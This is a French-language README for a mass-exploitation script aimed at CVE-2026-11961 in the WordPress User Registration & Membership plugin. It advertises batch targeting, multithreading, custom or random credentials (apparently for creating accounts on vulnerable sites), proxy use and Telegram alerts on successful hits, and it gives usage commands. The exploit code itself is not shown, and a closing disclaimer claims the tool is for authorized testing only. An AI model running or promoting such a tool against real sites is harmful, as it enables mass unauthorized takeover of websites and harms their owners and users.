CVE-2026-11961

Outil d'exploitation massive pour CVE-2026-11961 affectant le plugin WordPress User Registration & Membership.

Fonctionnalités

• Détection de la version du plugin
• Support de cible unique
• Traitement par lot des cibles
• Support multi-threads
• Identifiants aléatoires ou personnalisés
• Support du proxy HTTP/HTTPS
• Configuration du délai d'expiration des requêtes
• Sortie JSONL
• Support des fichiers journaux
• Notifications Telegram
• Mode force (--force)

Utilisation

# Afficher l'aide
python3 mass.py -h

# Cible unique
python3 mass.py -u https://target.com

# Cible unique avec identifiants personnalisés
python3 mass.py \
-u https://target.com \
--username admin \
--password "StrongPassword123!"

# Cibles multiples
python3 mass.py -l targets.txt -t 20

# Enregistrer les résultats réussis
python3 mass.py -l targets.txt -o results.jsonl

# Écrire un fichier journal
python3 mass.py -l targets.txt --log exploit.log

# Notifications Telegram
python3 mass.py \
-l targets.txt \
--tg-token YOUR_BOT_TOKEN \
--tg-chat YOUR_CHAT_ID

# Proxy
python3 mass.py \
-u https://target.com \
--proxy http://127.0.0.1:8080

# Mode force
python3 mass.py -u https://target.com --force

Options

Avertissement

Ce projet est fourni uniquement pour des évaluations de sécurité autorisées, la recherche en sécurité défensive et la validation de vulnérabilités.

En utilisant ce logiciel, vous confirmez que vous disposez d'une autorisation explicite pour évaluer les systèmes cibles. L'accès non autorisé à des systèmes informatiques est interdit et peut enfreindre les lois applicables.

L'auteur et les contributeurs n'encouragent ni n'approuvent l'utilisation non autorisée de ce projet et déclinent toute responsabilité en cas d'utilisation abusive, de dommages ou de conséquences juridiques résultant de son utilisation.

Auteur

JohenLastGen JLG NETWORK